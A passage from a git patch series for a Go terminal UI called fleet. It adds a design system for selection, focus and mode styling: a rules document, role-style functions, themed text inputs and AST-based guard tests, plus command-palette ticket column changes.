ticket shows on the right anywhere OUTSIDE the +// tickets tab: its state, plus its priority. +// +// Both facts have a dedicated column in the tickets tab — a header for the +// state, a lead column for the priority — and neither of those exists in a +// mixed list, so without this a ticket row loses them entirely. +func ticketRightColumn(it PaletteItem) string { + out := it.Group + if mark := plainPriorityMark(it.Priority); mark != "" { + if out != "" { + out += " " + } + out += mark + } + return out +} + +// plainPriorityMark is renderPriorityLead without styling or padding, for +// contexts where the mark is embedded in a string that gets truncated and +// fuzzy-highlighted by rune offset. +func plainPriorityMark(priority int) string { + switch priority { + case 1: + return "!!" + case 2: + return "!" } - return group + " · " + detail + return "" } func (d *CommandPaletteDialog) dialogWidth() int { diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index 7b3c2ee8..946d7c22 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -358,3 +358,57 @@ func TestPriorityColumnOnlyInTheTicketsTab(t *testing.T) { t.Errorf("ticket names must start right after the badge, like every other kind: %q", ticketLine) } } + +// TestMixedTabCarriesStateAndPriorityOnTheRight covers what a ticket loses +// outside its own tab. +// +// The tickets tab gives the state a header and the priority a column of its +// own. A mixed list has neither, so without putting both in the right column a +// ticket row there shows nothing but its title. +func TestMixedTabCarriesStateAndPriorityOnTheRight(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabAll) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-3013", Title: "TS sdk consider pushing spanprocessor", StateName: "Todo", StateType: "unstarted", Priority: 1}, + {Identifier: "BRZ-2365", Title: "Tighten the backend scope", StateName: "Backlog", StateType: "backlog", Priority: 0}, + })) + h.commandPalette.filterInput.SetValue("spanprocessor") + h.commandPalette.rebuildFiltered() + + got := renderedPalette(t, h) + if !strings.Contains(got, "Todo !!") { + t.Errorf("a ticket in the mixed tab must carry its state AND priority:\n%s", got) + } +} + +// TestMixedTabHasNoStateHeaders: a "Todo" header sitting above a run of +// commands would describe rows it has nothing to do with. +func TestMixedTabHasNoStateHeaders(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(nil, nil, PaletteTabAll) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-3013", Title: "TS sdk", StateName: "Todo", StateType: "unstarted", Priority: 1}, + {Identifier: "BRZ-2365", Title: "Tighten scope", StateName: "Backlog", StateType: "backlog"}, + })) + + got := renderedPalette(t, h) + for _, line := range strings.Split(got, "\n") { + trimmed := strings.TrimSpace(strings.Trim(line, "│")) + if trimmed == "Todo 2" || trimmed == "Todo 1" || trimmed == "Backlog 1" { + t.Errorf("the mixed tab must not group by Linear state: %q\n%s", line, got) + } + } + // Sanity: the tickets ARE present, so the assertion above is not vacuous. + if !strings.Contains(got, "BRZ-3013") { + t.Fatalf("precondition: tickets should be listed:\n%s", got) + } + + // And in the tickets tab the headers must be back. + h.commandPalette.activeTab = PaletteTabTickets + h.commandPalette.rebuildFiltered() + if !strings.Contains(renderedPalette(t, h), "Todo 1") { + t.Error("the tickets tab must group by state") + } +} From b134d4be9023a94661bdf8385c4f75ef1a534659 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 11:31:21 +0300 Subject: [PATCH 16/23] feat(ui): give fleet a design system, and fix the palette's focus ambiguity MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three things read as "active" at once in the command palette, and the visual weight was inverted: the active tab drew itself as a filled accent chip — the heaviest treatment fleet has, and the same one the sidebar uses for the row you are standing on — while the row you were actually standing on got a muted band and the caret sat in the input. The loudest thing on screen was the least important fact, and there was no way to tell the three apart. Each of those renders was defensible on its own. The bug lived only in the relationship between them, which is why the fix is a vocabulary rather than a patch: 258 inline lipgloss.NewStyle() calls across 27 files meant every dialog re-derived what "selected" looked like, so they drifted. internal/ui/design.go names the three axes and fixes their order — focus beats selection beats mode, and a mode never fills. A background fill is the scarcest thing in the UI; it belongs to the cursor and the caret. Migrated: command palette (tab -> ModeOn), sidebar, settings rail, terminal drawer, context menu, snooze, account picker, allowed accounts, launchpad, consent, release notes. The roles are functions, not entries in the style table, so ApplyPalette does not have to know they exist. Also fixed, found while looking: - styles.go declared the entire style table twice, once as initializers and once inside ApplyPalette. A style written in only one silently kept default-pink under every theme but the default. Styles are now declared bare and constructed only in ApplyPalette, so that failure renders as nothing at all on the first frame instead of hiding until someone switches theme. - All twelve text inputs took Bubbles' DefaultDarkStyles, which hardcodes a 256-colour grey. The one widget that shows where your keystrokes land was the one widget that ignored the theme, and the caret was not the accent colour it is everywhere else. NewTextInput() themes them. - The palette drew a second prompt beside the input's own, shipping "> >". - ColorTextDim on ColorBorder does not read, so the shortcut column on the selected palette row was the least legible text on screen. Guards, each verified to fail when its rule is broken: an accent fill built outside design.go, a mode indicator that fills, and the focused/blurred selection weights collapsing into one. docs/design-system.md carries the rules, including the ones that were already being followed but only written down in commit messages: pill vs band, the three presentation tiers, and whether a tab is a mode or a selection (does switching it move the keyboard?). Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 9 ++ changelog/unreleased/design-system.md | 7 + docs/design-system.md | 201 ++++++++++++++++++++++++++ internal/ui/account_picker.go | 2 +- internal/ui/accounts.go | 2 +- internal/ui/allowed_accounts.go | 2 +- internal/ui/app.go | 2 +- internal/ui/branch_checkout.go | 6 +- internal/ui/bugreport.go | 2 +- internal/ui/command_palette.go | 25 ++-- internal/ui/consent.go | 6 +- internal/ui/context_menu.go | 4 +- internal/ui/design.go | 159 ++++++++++++++++++++ internal/ui/design_test.go | 123 ++++++++++++++++ internal/ui/dialogs.go | 6 +- internal/ui/drawer.go | 8 +- internal/ui/launchpad.go | 4 +- internal/ui/releasenotes.go | 5 +- internal/ui/settings.go | 4 +- internal/ui/sidebar.go | 6 +- internal/ui/snooze_dialog.go | 2 +- internal/ui/styles.go | 142 ++++++------------ internal/ui/workspace_create.go | 4 +- internal/ui/workspace_picker.go | 8 +- 24 files changed, 597 insertions(+), 142 deletions(-) create mode 100644 changelog/unreleased/design-system.md create mode 100644 docs/design-system.md create mode 100644 internal/ui/design.go create mode 100644 internal/ui/design_test.go diff --git a/CLAUDE.md b/CLAUDE.md index 3306659b..2f8fe589 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -90,6 +90,15 @@ internal/chrome/install.go # NMH manifest auto-install to Chrome's NativeM chrome-extension/ # Chrome MV3 extension (service worker, manifest, icons) ``` +## Design System +**Read `docs/design-system.md` before any UI work.** It is prescriptive, not advisory. + +The short version: **focus > selection > mode**, in that fixed order of visual weight, and a **mode never fills**. A background fill is the scarcest thing in the UI — spend it on the cursor and the caret. Roles live in `internal/ui/design.go` (`SelectionPill`/`SelectionBand`/`SelectionMarker`/`ModeOn`/`ModeOff`/`FocusCaret`/`PrimaryAction`/`NewTextInput`); build a style inline and you are inventing a fourth dialect. `Background(ColorAccent)` outside that file **fails the build** (`TestAccentFillIsConstructedInOneFile`), and so does a mode indicator that fills (`TestModeNeverFills`). + +The doc also settles the three questions that kept getting answered ad hoc: pill vs band (sized by the filled region, ~40 columns), which presentation tier a new surface takes (full-screen / centered overlay with `dimBackdrop` / row-anchored dropdown with none), and whether a tab is a mode or a selection (**does switching it move the keyboard?**). + +Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPalette` — an initializer alongside would be a second copy, and a style built in only one of the two silently keeps default-pink under every other theme. + ## Conventions - Tmux session prefix: `fleet_` (agent sessions); drawer shells use a distinct `fleetsh_` prefix — intentionally not a prefix of `fleet_`, so shells never leak into agent-session enumeration (`tmux.ListSessions`) - Session ID format: `<8hex>-` diff --git a/changelog/unreleased/design-system.md b/changelog/unreleased/design-system.md new file mode 100644 index 00000000..605cfcf9 --- /dev/null +++ b/changelog/unreleased/design-system.md @@ -0,0 +1,7 @@ +--- +type: improved +--- + +**Clearer command palette** — the active tab used to wear the same filled highlight as the row your cursor was on, so three things looked selected at once. The tab is now underlined accent text and the fill belongs to your cursor alone. The search box also lost its doubled `> >` prompt. + +**Themed text fields** — every input (palette search, rename, new branch, snooze duration) now draws its prompt, placeholder and cursor from your theme instead of a hardcoded grey that ignored it. diff --git a/docs/design-system.md b/docs/design-system.md new file mode 100644 index 00000000..5b51c387 --- /dev/null +++ b/docs/design-system.md @@ -0,0 +1,201 @@ +# fleet design system + +Rules for fleet's TUI. Follow them; they are not suggestions, and most were paid +for by a bug. Implementation lives in `internal/ui/design.go` — the roles below +are functions there, and it is the only file allowed to construct an accent fill. + +--- + +## 1. Weight order + +Three facts are on screen at once and constantly get mistaken for each other: + +| axis | question it answers | how many per screen | +|---|---|---| +| **focus** | where do my keystrokes go? | at most one | +| **selection** | where is this list's cursor? | one per list | +| **mode** | which option is in effect? | one per group | + +**Their visual weight is fixed in that order, and a mode never fills.** + +The command palette shipped with its active tab drawn as a filled accent chip — +the heaviest treatment fleet has, and the same one the sidebar uses for the row +you are standing on. So the *least* important of the three was the loudest thing +on screen, and none of them could be told apart. Each render was defensible +alone; the bug lived only in the relationship, which is why the guard is a +scarcity rule rather than a per-dialog assertion. + +**A background fill is the scarcest thing in this UI.** Spend it on the cursor +and the caret. Everything else gets color and weight. + +--- + +## 2. Roles + +Call these. Do not build the style inline. + +| role | means | renders | +|---|---|---| +| `FocusCaret()` | the block cursor | inverted accent | +| `SelectionPill(focused)` | list cursor, fill sized to its own label | inverted accent / muted band | +| `SelectionPillSecondary(focused)` | the same row's supporting text | matches the pill | +| `SelectionBand()` | list cursor, fill spans a full wide row | muted band | +| `SelectionBandSecondary()` | the band's supporting text | `ColorText` on band | +| `SelectionMarker(focused)` | the `▸` before a selected row | accent / dim | +| `ModeOn()` / `ModeOff()` | the option in effect / the rest | accent+underline / dim | +| `PrimaryAction()` | the one button Enter presses | inverted accent | +| `NewTextInput()` | every text input | themed prompt, placeholder, caret | + +Disabled rows are `DimStyle` **plus the reason**. Structure (section headers, +tree connectors) is `DimStyle`, bolded if it must separate. + +Adding a role is fine. Adding it **without saying what it outranks** is not. + +### Pill or band + +Sized by the region that gets filled, not the row's total width: + +- **≤ `SelectionFillWidthGuide` (40) columns → `SelectionPill`.** The fill is a + mark. The sidebar fills `symbol + glyph + title + slot` as one pill; a dropdown + fills its label. +- **> 40 columns → `SelectionBand`.** A solid accent bar 96 columns wide is a + wall of color. The band goes muted and the accent moves to `SelectionMarker` + and the panel border, which is where the eye lands anyway. + +A fill that stops mid-row reads as a rendering fault, not a selection. Carry it +across the gap and the right column, padded to the row. + +### Tabs are not automatically modes + +A tab is a **mode** when focus lives elsewhere (the command palette: Tab cycles +tabs, typing goes to the input, arrows to the list) — so it uses `ModeOn`. + +A tab is a **selection** when switching it moves the keyboard (the terminal +drawer, which is always in typing mode when visible, so picking a tab picks the +shell you type into) — so it uses `SelectionPill(true)`. + +Ask which one moves the keyboard. That is the whole test. + +--- + +## 3. Presentation tiers + +| tier | use when | how | +|---|---|---| +| **full-screen** | the task owns the user's attention for more than a moment, or needs the whole viewport: settings, help, release notes, bug report, onboarding, consent | `renderBody` returns the dialog's `View()` outright | +| **centered overlay** | a focused task the surrounding context still explains: the command palette | `dimBackdrop(base)` then `overlayAt` at center | +| **row-anchored dropdown** | the action belongs to one visible row and must stay attached to it: context menu, snooze, account picker, allowed accounts | `overlayAt` at the row, **no `dimBackdrop`** | + +Rules that go with them: + +- A dropdown **never dims the backdrop.** It is a small box beside the row it + acts on; dimming the app for it reads as a modal takeover. +- A dropdown **acts on the row it was opened over, not the cursor.** Messages + move the cursor while a menu is open (a finishing session rebuilds the list). + Capture the row's identity on open and re-find it at dispatch. +- Anchored boxes hang below their row and **flip above** near the footer. +- Every modal surface registers in `modalOpen()`, `routeToModal`, `renderBody` + and `SetSize`. `routeToModal` carries key and paste messages **only** — a + dialog's async `tea.Cmd` results need their own case in `Home.Update`, or the + feature is dead in the app while its unit tests pass. + +--- + +## 4. Panels and borders + +- Rounded borders throughout (`PanelStyle`, `DialogStyle`). +- **Accent border = this panel has the keyboard.** Muted border otherwise. This + is the only border-level focus signal; do not invent a second one. +- Titles inset into the top border, status insets top-right, key hints inset + into the bottom border. Use the `RenderBorderedPanel*` family — it guarantees + output is exactly `width × height`. +- A dialog is **fixed size**. A hint long enough to wrap must not grow the box + a row mid-keystroke. + +--- + +## 5. Color + +Every color comes from the palette (`internal/ui/palette.go`). No literals, no +`lipgloss.Color("240")`. Six themes must all work. + +| token | for | +|---|---| +| `ColorAccent` | focus, selection, the brand | +| `ColorText` / `ColorTextDim` | content / everything secondary | +| `ColorBorder` | panel chrome, and the muted selection band | +| `ColorSurface` | raised backgrounds | +| `ColorGreen/Yellow/Blue/Red` | **semantic only** — status, PR state, priority | +| `ColorBrand` | the pink wordmark; deliberately theme-independent | + +- **One thing owns a color.** The status dot owns status color; agent glyphs are + monochrome and carry identity by *shape*. If a second column starts meaning + green, one of them is wrong. +- Semantic color is not your accent and does not count against its budget. +- `ColorTextDim` on `ColorBorder` does not read. That pairing is why + `SelectionBandSecondary` is `ColorText` — it drops the bold, not the color. +- Add a style to the table in `styles.go`? It is constructed **only** in + `ApplyPalette`. Declare it bare. A style with its own initializer keeps + default-pink under every other theme, silently. + +### Glyphs + +Width-1, from blocks base terminal fonts actually cover (Dingbats, Geometric +Shapes, Arrows). Menlo — macOS Terminal's default — has no U+23FE and no U+2B21, +and renders a fallback box. Check the font before picking a clever glyph. + +--- + +## 6. Interaction + +- **Exactly one highlight, and the caret lives with it.** If arrowing moves the + highlight off a text field, blur the field. Typing returns both — and **keeps + the keystroke**. +- **The highlight is the promise.** Enter acts on whatever carries it, always. +- **The footer names what Enter does now**, and changes as the highlight moves. +- **The highlight never moves on its own.** A picker that re-selects for you is + ambiguity coming back through the window. +- **A disabled row renders dimmed with its reason, and the reason names the + clause that actually failed.** Guards are conjunctions; a constant note + contradicts the status dot rendered next to it. Dimmed rows are skipped by + `j`/`k`, and a lit row may never dead-click — mirror the real handler exactly. +- **A row's shortcut must be the key that actually works** from inside that + surface, not the one from the main screen. +- **Refuse, don't fall back.** An unparseable duration, an empty allowlist, an + unset required field: block submit and say which field. Silently substituting + a default does the opposite of what the screen appears to promise. + +--- + +## 7. Text + +- Build inputs with `NewTextInput()`. **The input owns its prompt** — draw a + second `>` beside it and you ship `> >`. +- Truncate with `ansi.Truncate`, never by bytes. Pane content is dense with + 3-byte box-drawing runes, so byte slicing cuts at a third of the intended + columns and can split a rune. +- **Pad raw text, then style.** Padding a styled string counts the ANSI bytes + and the columns come out ragged. +- Measure with `lipgloss.Width`, not `len`. +- Highlighting fuzzy matches maps indexes back onto the source strings by + offset, so a column composed with embedded ANSI lights up the wrong + characters. Compose in parts or leave it unstyled. + +--- + +## 8. Guards + +In `internal/ui/design_test.go`: + +- `TestAccentFillIsConstructedInOneFile` — `Background(ColorAccent)` outside + `design.go` fails the build. +- `TestModeNeverFills` — a mode indicator with any background fails. +- `TestSelectionDistinguishesFocus` — the focused and blurred weights must differ. + +Elsewhere: `TestNormalizedDialogsHoldNoTextInput`, +`TestContextMenuIDsAreDispatchable`, +`TestContextMenuDispatchFollowsTargetNotCursor`, +`TestSnoozeDialogHeightIsStable`. + +When a rule here gets broken and no test caught it, add the test in the same +change. That is how this list got written. diff --git a/internal/ui/account_picker.go b/internal/ui/account_picker.go index 3aca42e2..dc35cde5 100644 --- a/internal/ui/account_picker.go +++ b/internal/ui/account_picker.go @@ -201,7 +201,7 @@ func (d *AccountPickerDialog) renderRow(i int, r accountPickerRow, width int) st return " " + DimStyle.Render(row) } if i == d.cursor { - return SessionSelectionPrefix.Render("▸ ") + selTitle().Render(row) + return SelectionMarker(true).Render("▸ ") + selTitle().Render(row) } return " " + row } diff --git a/internal/ui/accounts.go b/internal/ui/accounts.go index 31f24241..2919daef 100644 --- a/internal/ui/accounts.go +++ b/internal/ui/accounts.go @@ -60,7 +60,7 @@ type AccountsDialog struct { // NewAccountsDialog creates the dialog. func NewAccountsDialog() *AccountsDialog { - ti := textinput.New() + ti := NewTextInput() ti.CharLimit = 200 ti.SetWidth(46) return &AccountsDialog{input: ti} diff --git a/internal/ui/allowed_accounts.go b/internal/ui/allowed_accounts.go index d10a4297..65c06f4d 100644 --- a/internal/ui/allowed_accounts.go +++ b/internal/ui/allowed_accounts.go @@ -276,7 +276,7 @@ func (d *AllowedAccountsDialog) renderRow(i int, r allowedAccountRow, width int) row := name + strings.Repeat(" ", pad) + state if i == d.cursor { - return SessionSelectionPrefix.Render("▸ ") + box + " " + selTitle().Render(row) + return SelectionMarker(true).Render("▸ ") + box + " " + selTitle().Render(row) } return " " + box + " " + row } diff --git a/internal/ui/app.go b/internal/ui/app.go index 50d0d4cb..4ddb9ccd 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -525,7 +525,7 @@ type Home struct { func NewHome(storage *session.StateDB, cfg *config.Config, version string, identity analytics.Identity) *Home { ctx, cancel := context.WithCancel(context.Background()) - fi := textinput.New() + fi := NewTextInput() fi.Placeholder = "filter..." fi.CharLimit = 64 fi.SetWidth(20) diff --git a/internal/ui/branch_checkout.go b/internal/ui/branch_checkout.go index 3d324644..1421673f 100644 --- a/internal/ui/branch_checkout.go +++ b/internal/ui/branch_checkout.go @@ -50,7 +50,7 @@ const branchMaxVisible = 12 // NewBranchCheckoutDialog creates a new branch checkout dialog. func NewBranchCheckoutDialog() *BranchCheckoutDialog { - fi := textinput.New() + fi := NewTextInput() fi.Placeholder = "type to filter" fi.CharLimit = 64 fi.SetWidth(30) @@ -275,7 +275,7 @@ func (d *BranchCheckoutDialog) View() string { prefix = lipgloss.NewStyle().Foreground(ColorGreen).Render("✓ ") } if selected { - prefix = SessionSelectionPrefix.Render("▸ ") + prefix = SelectionMarker(true).Render("▸ ") } name := branch.Name @@ -291,7 +291,7 @@ func (d *BranchCheckoutDialog) View() string { if branch.IsRemote { line += " ↓" } - b.WriteString(prefix + SessionTitleSelStyle.Render(line)) + b.WriteString(prefix + SelectionPill(true).Render(line)) } else if branch.IsCurrent { b.WriteString(prefix + lipgloss.NewStyle().Foreground(ColorGreen).Render(name) + DimStyle.Render(" (current)")) } else if branch.IsRemote { diff --git a/internal/ui/bugreport.go b/internal/ui/bugreport.go index 8f8ce922..2f279d2e 100644 --- a/internal/ui/bugreport.go +++ b/internal/ui/bugreport.go @@ -80,7 +80,7 @@ type BugReportDialog struct { // NewBugReportDialog creates a bug report dialog. func NewBugReportDialog() *BugReportDialog { - ti := textinput.New() + ti := NewTextInput() ti.Placeholder = "Describe what happened..." ti.CharLimit = 256 ti.SetWidth(48) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 2359fe56..c3bc698f 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -86,7 +86,7 @@ const paletteMaxVisible = 14 // NewCommandPaletteDialog creates a new command palette dialog. func NewCommandPaletteDialog() *CommandPaletteDialog { - fi := textinput.New() + fi := NewTextInput() fi.Placeholder = "search commands, repos, worktrees..." fi.CharLimit = 64 fi.SetWidth(40) @@ -288,7 +288,7 @@ func (d *CommandPaletteDialog) View() string { b.WriteString("\n\n") // Search input. - b.WriteString(" " + DimStyle.Render(">") + " " + d.filterInput.View()) + b.WriteString(" " + d.filterInput.View()) b.WriteString("\n\n") if len(d.filtered) == 0 { @@ -343,7 +343,7 @@ func (d *CommandPaletteDialog) View() string { prefix := " " if selected { - prefix = SessionSelectionPrefix.Render("▸ ") + prefix = SelectionMarker(true).Render("▸ ") } badge := renderKindBadge(it.Kind) @@ -359,7 +359,7 @@ func (d *CommandPaletteDialog) View() string { namePad := strings.Repeat(" ", nameCol-runeLen(rawName)) var name string if selected { - name = SessionTitleSelStyle.Render(rawName + namePad) + name = SelectionPill(true).Render(rawName + namePad) } else { name = highlightMatches(rawName, nameIdx) + namePad } @@ -421,19 +421,24 @@ func (d *CommandPaletteDialog) renderTabs() string { } } - activeStyle := lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent).Bold(true).Padding(0, 1) - inactiveStyle := lipgloss.NewStyle().Foreground(ColorTextDim).Padding(0, 1) - + // The tab bar is a MODE, not focus and not the list cursor: Tab cycles it, + // typing goes to the input, arrows go to the list. It drew itself as a + // filled accent chip — the heaviest treatment fleet has, and the same one + // the selected row uses — which made the least important of the three + // things lit on screen the loudest, and left no way to tell them apart. + // ModeOn spends accent and an underline instead of a fill; the fill now + // belongs to the selected row alone. See docs/design-system.md. parts := make([]string, 0, len(paletteTabOrder)) for _, t := range paletteTabOrder { label := fmt.Sprintf("%s %d", t.Label, counts[t.Tab]) if t.Tab == d.activeTab { - parts = append(parts, activeStyle.Render(label)) + parts = append(parts, ModeOn().Render(label)) } else { - parts = append(parts, inactiveStyle.Render(label)) + parts = append(parts, ModeOff().Render(label)) } } - return " " + strings.Join(parts, " ") + // Three spaces, because the chips' padding used to do the separating. + return " " + strings.Join(parts, " ") } const paletteBadgeWidth = 4 diff --git a/internal/ui/consent.go b/internal/ui/consent.go index 0e6e950e..27a0fa8c 100644 --- a/internal/ui/consent.go +++ b/internal/ui/consent.go @@ -124,11 +124,7 @@ func (d *ConsentDialog) View() string { Foreground(ColorBg). Background(ColorGreen). Padding(0, 1) - noSelStyle := lipgloss.NewStyle(). - Bold(true). - Foreground(ColorBg). - Background(ColorAccent). - Padding(0, 1) + noSelStyle := PrimaryAction().Padding(0, 1) if d.cursor == 0 { b.WriteString(yesSelStyle.Render(yesLabel)) diff --git a/internal/ui/context_menu.go b/internal/ui/context_menu.go index 3bbddfb9..ebfa084f 100644 --- a/internal/ui/context_menu.go +++ b/internal/ui/context_menu.go @@ -257,8 +257,8 @@ func (d *ContextMenuDialog) renderRow(i, labelW, keyW int) string { return DimStyle.Render(" " + label + pad + " " + keyPad + it.Shortcut) } if i == d.cursor { - return SessionSelectionPrefix.Render("▸ ") + - SessionTitleSelStyle.Render(label+pad) + + return SelectionMarker(true).Render("▸ ") + + SelectionPill(true).Render(label+pad) + " " + DimStyle.Render(keyPad+it.Shortcut) } return " " + label + pad + " " + DimStyle.Render(keyPad+it.Shortcut) diff --git a/internal/ui/design.go b/internal/ui/design.go new file mode 100644 index 00000000..419fdbf4 --- /dev/null +++ b/internal/ui/design.go @@ -0,0 +1,159 @@ +package ui + +import ( + "charm.land/bubbles/v2/textinput" + "charm.land/lipgloss/v2" +) + +// Role styles: the small vocabulary every fleet surface renders selection, +// focus and mode with. See docs/design-system.md for the rules; this file is +// their implementation and the only place a background fill may be constructed. +// +// The vocabulary exists because three different facts kept borrowing each +// other's clothes: +// +// - FOCUS — which surface owns the keyboard. At most one per screen. +// - SELECTION — which row a list's cursor is on. One per list, and a list +// keeps its selection while another surface holds focus. +// - MODE — which option is currently in effect (an active tab, a +// chosen radio). Never focus, never selection. +// +// The command palette drew its active tab with the heaviest treatment there +// is — Bg-on-Accent, the same fill the sidebar uses for the row you are +// standing on — while the row you were actually standing on got the muted +// band. The loudest thing on screen was the least important fact, and the +// three could not be told apart. The rule that prevents a repeat is that +// weight is ordered and the order is fixed: focus outranks selection, which +// outranks mode, and a mode indicator may not fill at all. +// +// These are functions, not the package-level `var …Style` table above them in +// styles.go, and that is deliberate: they read the Color* globals at call +// time, so ApplyPalette does not have to know they exist. Every style in the +// var table has to be written twice — once as its initializer, once inside +// ApplyPalette — and one written only once silently keeps default-pink under +// every other theme. A role style cannot have that bug. + +// SelectionFillWidthGuide is the column budget past which an accent fill stops +// reading as a mark and starts reading as a wall — the threshold that decides +// SelectionPill against SelectionBand. It is guidance for choosing at the call +// site rather than a runtime switch, because a surface knows at build time +// whether it fills a label or a row, and a fill that changed character as the +// terminal resized would be worse than either. +const SelectionFillWidthGuide = 40 + +// SelectionPill is the selected row's fill where the filled region is sized to +// its own content — a sidebar row, a dropdown entry, a settings rail category. +// Accent-filled when the list owns the keyboard, a muted band when it does not, +// so a list that has lost focus still shows where its cursor is without +// competing with whatever took focus. +func SelectionPill(focused bool) lipgloss.Style { + if focused { + return lipgloss.NewStyle().Bold(true).Foreground(ColorBg).Background(ColorAccent) + } + return lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) +} + +// SelectionPillSecondary is the same fill for a row's supporting text — a +// count, a status, a tree connector — so a pill built from several renders +// stays one continuous block of color. +func SelectionPillSecondary(focused bool) lipgloss.Style { + if focused { + return lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) + } + return lipgloss.NewStyle().Foreground(ColorText).Background(ColorBorder) +} + +// SelectionBand is the selected row's fill where the fill spans a full row +// wider than SelectionFillWidthGuide — the command palette, whose rows run to +// 96 columns. Always muted, never accent: a solid accent bar that wide is a +// wall of color, and the accent is better spent on SelectionMarker and the +// panel border, which is where the eye lands anyway. +// +// It takes no focused argument because a full-row list is the focused surface +// whenever it is on screen. Give it one the day that stops being true. +func SelectionBand() lipgloss.Style { + return lipgloss.NewStyle().Bold(true).Foreground(ColorText).Background(ColorBorder) +} + +// SelectionBandSecondary is the band's supporting text. +// +// Deliberately ColorText and not ColorTextDim: dim-on-border is the one pairing +// in this palette that genuinely fails to read — #857a8c on #6a4d78 under Fleet +// Pink, and no better under Gruvbox — so the shortcut column on the selected +// row was the least legible text on screen. Dropping the bold, not the color, +// is what keeps the hierarchy. +func SelectionBandSecondary() lipgloss.Style { + return lipgloss.NewStyle().Foreground(ColorText).Background(ColorBorder) +} + +// SelectionMarker styles the ▸ that precedes a selected row. On a banded list +// this carries the accent the band gives up. +func SelectionMarker(focused bool) lipgloss.Style { + if focused { + return lipgloss.NewStyle().Foreground(ColorAccent).Bold(true) + } + return lipgloss.NewStyle().Foreground(ColorTextDim) +} + +// ModeOn styles the option currently in effect — the active tab, the chosen +// value of a cycler. +// +// Accent text and a rule underneath, never a fill. A mode indicator does not +// hold the keyboard and is not a cursor position; giving it the fill outranks +// both of the things that do, which is exactly the bug this vocabulary exists +// to prevent. Underline is what gives it a boundary without borrowing weight +// it has not earned. +func ModeOn() lipgloss.Style { + return lipgloss.NewStyle().Foreground(ColorAccent).Bold(true).Underline(true) +} + +// ModeOff styles the options not in effect. +func ModeOff() lipgloss.Style { + return lipgloss.NewStyle().Foreground(ColorTextDim) +} + +// FocusCaret is the block cursor — the single loudest mark on screen, and the +// literal answer to "where does what I type go". Only a surface that receives +// keystrokes may render one. +func FocusCaret() lipgloss.Style { + return lipgloss.NewStyle().Foreground(ColorBg).Background(ColorAccent) +} + +// PrimaryAction styles a surface's one primary action — the launchpad's +// "⏎ Add & continue" button. A button may fill where a mode indicator may not: +// it is short, and it is the thing Enter does, so the fill points at the +// keyboard rather than competing with it. +func PrimaryAction() lipgloss.Style { + return lipgloss.NewStyle().Bold(true).Foreground(ColorBg).Background(ColorAccent) +} + +// NewTextInput returns a text input wearing fleet's palette. +// +// Bubbles ships DefaultDarkStyles, which hardcodes a 256-color grey (SGR 38;5;240) +// for the placeholder and the prompt. Every one of fleet's twelve inputs took +// that default, so under Gruvbox or Nord the one widget that shows where your +// keystrokes land was the one widget that ignored the theme — and the caret, +// the loudest focus signal there is, was not the accent color it is everywhere +// else. +// +// The input also owns its own prompt. A dialog that draws a second one beside +// it gets the "> >" the command palette shipped for a release. +func NewTextInput() textinput.Model { + ti := textinput.New() + st := ti.Styles() + + st.Focused.Text = lipgloss.NewStyle().Foreground(ColorText) + st.Focused.Placeholder = lipgloss.NewStyle().Foreground(ColorTextDim) + st.Focused.Prompt = lipgloss.NewStyle().Foreground(ColorAccent) + + // A blurred input still shows its value, just quietly — it holds state the + // user typed, and blanking it out would read as the field having been + // cleared rather than as it having lost focus. + st.Blurred.Text = lipgloss.NewStyle().Foreground(ColorTextDim) + st.Blurred.Placeholder = lipgloss.NewStyle().Foreground(ColorTextDim) + st.Blurred.Prompt = lipgloss.NewStyle().Foreground(ColorTextDim) + + st.Cursor.Color = ColorAccent + ti.SetStyles(st) + return ti +} diff --git a/internal/ui/design_test.go b/internal/ui/design_test.go new file mode 100644 index 00000000..52e4b3c9 --- /dev/null +++ b/internal/ui/design_test.go @@ -0,0 +1,123 @@ +package ui + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "strings" + "testing" +) + +// designSystemHome is the one file allowed to construct an accent fill. +const designSystemHome = "design.go" + +// TestAccentFillIsConstructedInOneFile is the tripwire under the rule that +// makes fleet's surfaces legible: Background(ColorAccent) — the inverted accent +// fill — is the heaviest treatment the UI has, and it means exactly one thing, +// "the keyboard is here". +// +// The command palette is why this test exists. It drew its active tab as a +// filled accent chip, so the tab (a mode, which never holds the keyboard) was +// louder than the selected row (the cursor) and louder than the caret (the +// actual focus). Nothing was wrong with any one of those three renders on its +// own — the bug only existed between them, which is precisely the kind a +// per-dialog test cannot see and a scarcity rule can. +// +// Adding a fill therefore means adding a named role in design.go and saying +// what it outranks, rather than reaching for the color inline. Fills in other +// colors are unrestricted: a green Yes button or a muted Border band cannot +// out-shout focus, so they need no budget. +func TestAccentFillIsConstructedInOneFile(t *testing.T) { + for _, file := range packageSourceFiles(t) { + if filepath.Base(file) == designSystemHome { + continue + } + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, file, nil, 0) + if err != nil { + t.Fatalf("parse %s: %v", file, err) + } + ast.Inspect(f, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok || len(call.Args) != 1 { + return true + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok || sel.Sel.Name != "Background" { + return true + } + arg, ok := call.Args[0].(*ast.Ident) 